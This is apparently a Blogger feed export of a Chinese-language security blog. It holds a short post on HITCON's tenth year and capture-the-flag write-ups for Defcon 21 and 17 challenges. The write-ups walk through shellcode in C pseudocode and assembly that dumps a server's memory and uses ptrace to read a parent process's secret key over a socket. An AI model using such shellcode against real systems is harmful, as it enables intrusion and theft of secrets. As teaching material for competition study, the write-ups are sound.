&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
“I like the dreams of the future better than the history of the past.”&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ― Thomas Jefferson&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
接下來，HITCON 籌辦團隊試著把 HITCON 帶向永續發展及培養更多資安人才的方向努力，我也期望 HITCON 的未來十年，能創造及完成更多的夢想。堅持、努力以及不放棄的挑戰，也是駭客心中的信念，不是嗎&lt;hanla style=&quot;box-sizing: border-box; display: inline; position: static;&quot;&gt;&lt;/hanla&gt;?&lt;/div&gt;
&lt;div style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
穿著小灰帽衣的男孩仍在捷運上滑著手機，聽著關門的催促聲，我踏出車箱，回頭望著駛離的捷運列車，視線逐漸模糊。&lt;/div&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;box-sizing: border-box; font-family: &#39;Helvetica Neue&#39;, Helvetica, Arial, sans-serif; font-size: 15px; line-height: 25px; margin-bottom: 10px;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;By Tim 2014.5&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/5272774328442480192/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/5272774328442480192' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5272774328442480192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5272774328442480192'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2014/06/hitcon-ten-years.html' title='十年'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-1577457267387390392</id><published>2013-06-18T01:02:00.000+08:00</published><updated>2013-06-18T20:23:33.725+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="wargame"/><title type='text'>Defcon 21 競賽解題思路 - linked</title><content type='html'>&lt;br /&gt;
題目給了一個 C 的 struct&lt;br /&gt;
typedef struct _llist {&lt;br /&gt;
&amp;nbsp; &amp;nbsp;struct _llist *next;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;uint32_t tag;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;char data[100];&lt;br /&gt;
&amp;nbsp;} llist;&lt;br /&gt;
&lt;br /&gt;
並且給了一小段 C 的程式碼&lt;br /&gt;
&lt;br /&gt;
register char *answer;&lt;br /&gt;
char *(*func)();&lt;br /&gt;
llist *head;&lt;br /&gt;
...&lt;br /&gt;
func = (char *(*)(llist *))userBuf;&lt;br /&gt;
answer = (char *)(*func)(head);&lt;br /&gt;
send_string(answer);&lt;br /&gt;
exit(0);&lt;br /&gt;
&lt;br /&gt;
此關卡程式會亂數配置若干 linked-list。要解開此關，則要送一段 shellcode 給 Server 執行，即 answer = (char *)(*func)(head); 這行呼叫。&lt;br /&gt;
&lt;br /&gt;
Write me shellcode that traverses the randomly generated linked list, looking for a node with a tag 0x41414100, and returns a pointer to the data associated with that tag, such that the call to send_string will output the answer.&lt;br /&gt;
&lt;br /&gt;
看來只要寫個 shellcode，走訪每個 linked-list，檢查 tag 是否為 0x41414100，若是則將此 linked-list 的位址傳回，應該就能讓 Server 吐出答案。&lt;br /&gt;
用 C 來表示大概像這樣:&lt;br /&gt;
&lt;br /&gt;
char *shellcode(llist *head)&lt;br /&gt;
{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;while(1) {&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if (head-&amp;gt;tag == 0x41414100)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;return head-&amp;gt;data;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;head = head-&amp;gt;next;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
看來很簡單吧！&lt;br /&gt;
不過實際轉換成 shellcode 送出才發現，Server 回應 shellcode 只吃 16 bytes，也就是 shellcode 長度不能超過 16 bytes。這個長度限制馬上讓這題變成一個難解之題，不管怎麼縮小，改變 asm 指令等，都相當有難度。&lt;br /&gt;
此時，就想到如果不照題目所給的流程走，讓 shellcode 直接吐出走訪 linked-list 的所有資料，那 shellcode 能否控制在 16 bytes 之內呢?&lt;br /&gt;
&lt;br /&gt;
用 C 來表示大概像這樣:&lt;br /&gt;
&lt;br /&gt;
char *shellcode(llist *head)&lt;br /&gt;
{&lt;br /&gt;
dump:&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; write(4, head, 100);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;                &lt;/span&gt;head = head-&amp;gt;next;&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; goto dump:&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
若是照正常的系統呼叫設定各暫存器，那鐵定超出長度，因此有些暫存器要故意忽略不設，例如呼叫 write() 的長度，C 這邊我寫 100，實際上完全不確定會 write 多少字元。&lt;br /&gt;
&lt;br /&gt;
最後寫出的 shellcode 長得這樣:&lt;br /&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=Qge87FQe&quot; style=&quot;border: none; width: 100%;&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
沒幾行，分別解說如下:&lt;br /&gt;
&lt;br /&gt;
7. pop &amp;nbsp; edi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
8. pop &amp;nbsp; ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
此兩行主要是因為 &amp;nbsp;(char *)(*func)(head); ，也就是 call 之前會將參數 head 先放入堆疊(Stack) 再執行 call 時 x86 又會將返回位址放到堆疊，因此 pop edi 則會將返回位址取到 edi，而 pop ecx 則會將 head 存至 ecx。此時 ecx = head&lt;br /&gt;
&lt;br /&gt;
10. mov ecx,[ecx]&lt;br /&gt;
&lt;br /&gt;
此行則為 head = head-&amp;gt;next，會放在一開始則完全是 shellcode 長度限制考量。&lt;br /&gt;
&lt;br /&gt;
11. xor eax,eax&lt;br /&gt;
12. add eax,4&lt;br /&gt;
&lt;br /&gt;
設定 eax = 4，因為 write 系統呼叫編號為 4。&lt;br /&gt;
&lt;br /&gt;
14. push eax&lt;br /&gt;
15. pop ebx&lt;br /&gt;
&lt;br /&gt;
恰好打算要輸出的 socket = 4，所以透過 push/pop 把 eax 複製到 ebx，一樣是長度限制考量。&lt;br /&gt;
&lt;br /&gt;
16. ;mov edx,100&lt;br /&gt;
17. int 0x80&lt;br /&gt;
18. jmp _run&lt;br /&gt;
&lt;br /&gt;
本來想設定 edx，代表要輸出的長度，不過受到長度限制考量，就完全不理長度，看當時執行此 shellcode 時 edx 暫存器值為何，就輸出多少長度，所以把這行註解掉了。&lt;br /&gt;
最後就是系統呼叫 int 0x80 把記憶體內容吐出來，然後 jmp _run 則不斷地走訪 linked-list 不斷地吐資料。&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
寫個小程式 dump，把 shellcode 輸出到 stdout，再透過 nc 送出給 Server。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAt-PboZCKDxmMpb2TEWUYARL8HxHpARKjRM9cbFx5BnlzEbGhS7ZzhmwKMwr6mDHLZyuPTorMUkgzm1XXxmpuqrJhVAuF3qTXKPNOgherTIa7W2gIBTJNTtNxpBDH16smLdUq1-NzXy4/s1600/defcon_linked.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAt-PboZCKDxmMpb2TEWUYARL8HxHpARKjRM9cbFx5BnlzEbGhS7ZzhmwKMwr6mDHLZyuPTorMUkgzm1XXxmpuqrJhVAuF3qTXKPNOgherTIa7W2gIBTJNTtNxpBDH16smLdUq1-NzXy4/s1600/defcon_linked.png&quot; height=&quot;50&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
大概收集個100M ~ 900M，完全看運氣，然後再從 dump 出的記憶體中找尋關鍵字 &quot;The key&quot;。&lt;br /&gt;
答案出來!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/1577457267387390392/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/1577457267387390392' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1577457267387390392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1577457267387390392'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2013/06/defcon-21-linked.html' title='Defcon 21 競賽解題思路 - linked'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAt-PboZCKDxmMpb2TEWUYARL8HxHpARKjRM9cbFx5BnlzEbGhS7ZzhmwKMwr6mDHLZyuPTorMUkgzm1XXxmpuqrJhVAuF3qTXKPNOgherTIa7W2gIBTJNTtNxpBDH16smLdUq1-NzXy4/s72-c/defcon_linked.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-8451163060087917367</id><published>2013-06-17T23:39:00.000+08:00</published><updated>2013-06-18T20:10:24.265+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="defcon"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><category scheme="http://www.blogger.com/atom/ns#" term="wargame"/><title type='text'>Defcon 21 競賽解題思路 - incest</title><content type='html'>&lt;br /&gt;
好久沒來寫點東西啦！前兩天又是一年一度的 Defcon Quals，照例&amp;nbsp;&lt;a href=&quot;http://www.chroot.org/&quot;&gt;CHROOT&lt;/a&gt;&amp;nbsp;集合多位朋友一塊解題闖關。今年我沒能花太多時間在解題，只看了較有把握的兩題也順利解出，先來分享 &quot;\xff\xe4\xcc&quot; 的第一題 - incest。&lt;br /&gt;
&lt;br /&gt;
此題目給了兩隻 Linux x64 binary，maw 和 sis 。當然二話不說，先來 strings。&lt;br /&gt;
&lt;br /&gt;
$ strings maw
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
eth0&lt;br /&gt;
Could not open key.&lt;br /&gt;
/home/services/sis&lt;/blockquote&gt;
$ objdump -D sis &amp;gt; sis.disasm&lt;br /&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=GXWuepaV&quot; style=&quot;border: none; width: 100%;&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
&lt;br /&gt;
從 sis.disasm 反組譯的內容中，可以看到此程式有 fork() 產生的子行程，會配置一塊記憶體，再將 recv() 收到的內容放到此記憶體空間，最後直接呼叫 callq *rdx，跳躍到該記憶體區域執行。而父行程也配了一塊記憶體，從某檔案中讀取內容後，就不斷呼叫&amp;nbsp;&lt;span style=&quot;background-color: white; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Bitstream Vera Sans Mono&#39;, Courier, monospace; font-size: 12px; line-height: 21px;&quot;&gt;sched_yield()。&lt;/span&gt;&lt;br /&gt;
如果轉寫成 C 程式碼，大概長得像這樣:&lt;br /&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=FXseZATV&quot; style=&quot;border: none; width: 100%;&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
很明顯 maw 是一個網路 daemon，accept() 連線後再執行 sis，執行時會先 open() key file，然後將 key file 的 fd 和 socket fd 一塊傳給 sis。根據 strace/ltrace 可以發現，key_fd = 3，sock_fd = 4，而且 sis 的子行程會直接跳到遠端傳送的資料裡執行。注意到，呼叫 mmap() 配置 sock_buffer 時，是用 PROT_READ|PROT_WRITE|PROT_EXEC，可讀可寫可執行，就可以塞 shellcode 執行啦。&lt;br /&gt;
&lt;br /&gt;
但是，要怎麼取得 key file 的資料呢?&lt;br /&gt;
&lt;br /&gt;
原來的想法是透過打造 open(&quot;key&quot;, O_RDONLY)，然後 read(key_fd) 再 write(sock_fd)，但測試結果發現會 Permission denied。而根據題目 incest 原意，搭配 sis.c，可以猜想應該是要由子行程透過 ptrace() 來讀取父行程裡的資料，也就是父行程已 read(key_fd, key_buffer)，只要能讀取父行程的 key_buffer 內容，再 write(sock_fd) 就能遠端取得 key_buffer 內容啦。&lt;br /&gt;
&lt;br /&gt;
打造 x64_86 的 shellcode，我是參考此文&amp;nbsp;&lt;a href=&quot;http://blog.markloiseau.com/2012/06/64-bit-linux-shellcode/&quot;&gt;64-bit-linux-shellcode&lt;/a&gt;，然後用 nasm 寫了一小段程式碼。流程大概如下:&lt;br /&gt;
shellcode()&lt;br /&gt;
{&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int ppid;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int key_buffer_address;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int key_buffer;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;int i;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;char buffer[40];&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;user_regs_struct regs;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ppid = getppid();&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ptrace (PTRACE_ATTACH, ppid, NULL, NULL);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;wait(NULL);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ptrace (PTRACE_GETREGS,ppid, NULL, &amp;amp;regs);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;key_buffer_address = regs.rbp-0x18;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &amp;amp;key_buffer);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;for(i = 0; i &amp;lt; 10; i++)&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;ptrace (PTRACE_PEEKDATA, ppid, key_buffer+i*8, buffer+i*8);&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;write(4, buffer, 40);&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
根據前面所提的 sis.disasm&lt;br /&gt;
&lt;ol style=&quot;background-color: #eeeeee; color: #acacac; font-family: Consolas, Menlo, Monaco, &#39;Lucida Console&#39;, &#39;Bitstream Vera Sans Mono&#39;, Courier, monospace; font-size: 12px; line-height: 21px; margin: 0px; padding: 0px 0px 0px 48px;&quot;&gt;
&lt;li class=&quot;li2&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de2&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;400949&lt;/span&gt;&lt;span class=&quot;sy1&quot; style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; e8&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;82&lt;/span&gt;&amp;nbsp;fd ff ff &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;callq &amp;nbsp;4006d0 &lt;calloc plt=&quot;&quot;&gt;&lt;/calloc&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;li1&quot; style=&quot;-webkit-user-select: none;&quot;&gt;&lt;div class=&quot;de1&quot; style=&quot;-webkit-user-select: text; background-color: white; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; color: black; margin: 0px 0px 0px -7px; padding: 0px 5px; position: relative; vertical-align: top;&quot;&gt;
40094e&lt;span class=&quot;sy1&quot; style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;48&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;89&lt;/span&gt;&amp;nbsp;&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;45&lt;/span&gt;&amp;nbsp;e8 &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;span class=&quot;kw1&quot; style=&quot;color: #00007f; font-weight: bold;&quot;&gt;mov&lt;/span&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;span class=&quot;sy1&quot; style=&quot;color: #339933;&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;kw4&quot; style=&quot;color: #46aa03; font-weight: bold;&quot;&gt;rax&lt;/span&gt;&lt;span class=&quot;sy1&quot; style=&quot;color: #339933;&quot;&gt;,-&lt;/span&gt;&lt;span class=&quot;nu0&quot; style=&quot;color: red;&quot;&gt;0x18&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-weight: bold;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sy1&quot; style=&quot;color: #339933;&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;kw4&quot; style=&quot;color: #46aa03; font-weight: bold;&quot;&gt;rbp&lt;/span&gt;&lt;span class=&quot;br0&quot; style=&quot;color: #009900; font-weight: bold;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
可以發現，取得父行程 rbp 暫存器值後去 -0x18，即為存放 calloc() 配置的記憶體位址。所以透過&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;key_buffer_address = regs.rbp-0x18;&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;ptrace (PTRACE_PEEKDATA, ppid, key_buffer_address, &amp;amp;key_buffer);&lt;br /&gt;
&lt;br /&gt;
則會得到父行程的 key_buffer 位址啦，接著用一個 for-loop 把父行程的 key_buffer 存的內容讀出來，再透過 write() 輸出到 sock_fd = 4，就能看到解答。&lt;br /&gt;
此題 &amp;nbsp;shellcode 的 nasm 如下:&lt;br /&gt;
&lt;iframe src=&quot;http://pastebin.com/embed_iframe.php?i=PAvWc7jw&quot; style=&quot;border: none; width: 100%;&quot;&gt;&lt;/iframe&gt;

&lt;br /&gt;
使用 nasm 編譯後，寫了一個小程式 dump，把 shellcode 輸出 stdout。&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfuc2TuZA7DeIm-BAf0tanw2DSnv42Tdczqkxk7FAECPAHw2O3fwBZxWFFAhe6va9z0j0I4IyLiruUtYD3aorZHAkYNk0OByVOvBXnB7VUGgZWJ9f_-2DF85mrLGEDL7OOcd26TVf7BZc/s1600/defcon_incest.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfuc2TuZA7DeIm-BAf0tanw2DSnv42Tdczqkxk7FAECPAHw2O3fwBZxWFFAhe6va9z0j0I4IyLiruUtYD3aorZHAkYNk0OByVOvBXnB7VUGgZWJ9f_-2DF85mrLGEDL7OOcd26TVf7BZc/s1600/defcon_incest.png&quot; height=&quot;34&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
這樣就過關啦！&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/8451163060087917367/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/8451163060087917367' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/8451163060087917367'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/8451163060087917367'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2013/06/defcon-21-incest.html' title='Defcon 21 競賽解題思路 - incest'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfuc2TuZA7DeIm-BAf0tanw2DSnv42Tdczqkxk7FAECPAHw2O3fwBZxWFFAhe6va9z0j0I4IyLiruUtYD3aorZHAkYNk0OByVOvBXnB7VUGgZWJ9f_-2DF85mrLGEDL7OOcd26TVf7BZc/s72-c/defcon_incest.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-4626258074671390368</id><published>2009-06-12T02:29:00.000+08:00</published><updated>2009-06-23T11:31:09.638+08:00</updated><title type='text'>Defcon17 Wargame Crypto_Badness 400 解題過程</title><content type='html'>接續上一篇 &lt;a href=&quot;http://timhsu.chroot.org/2009/06/defcon17wargame.html&quot;&gt;Defcon 17 Wargame 競賽解題心得&lt;/a&gt;，這次分享的是 Crypto_Badness  400 的題目解題過程。&lt;br /&gt;&lt;br /&gt;此題提供下載一個檔案，題目說明表示，此程式正在 pwn11.ddtek.biz 主機上執行，該程式為一 FreeBSD 的可執行檔，執行時會開 TCP Port 7852。直接用工具 nc 連向 pwn11.ddtek.biz 7852，即出現詢問 Password。所以按照慣例，先來個 strings 指令，觀察檔案內容。&lt;br /&gt;&lt;br /&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyYlfJLiJOlEix1kcio27p3cZZrbELUpkmbdF7aJ8_USH2tVZ7k72KUv__8VnjjNX2Z7OqgfqLdbzn0SzCOQqMw5iat2msnRH1CG3JhohqCyG6lcNGlgX2rwUY7Z9iwxTLe5eJKQE2deY/s1600-h/crypto_400_6.jpg&quot;&gt;&lt;img style=&quot;margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 170px;&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyYlfJLiJOlEix1kcio27p3cZZrbELUpkmbdF7aJ8_USH2tVZ7k72KUv__8VnjjNX2Z7OqgfqLdbzn0SzCOQqMw5iat2msnRH1CG3JhohqCyG6lcNGlgX2rwUY7Z9iwxTLe5eJKQE2deY/s320/crypto_400_6.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5350192738409896082&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;其中有個字串，”chickenfingers” 應該就是該 Password 要問的答案了。當 Password: 提示出現時，輸入 chickenfingers，出現 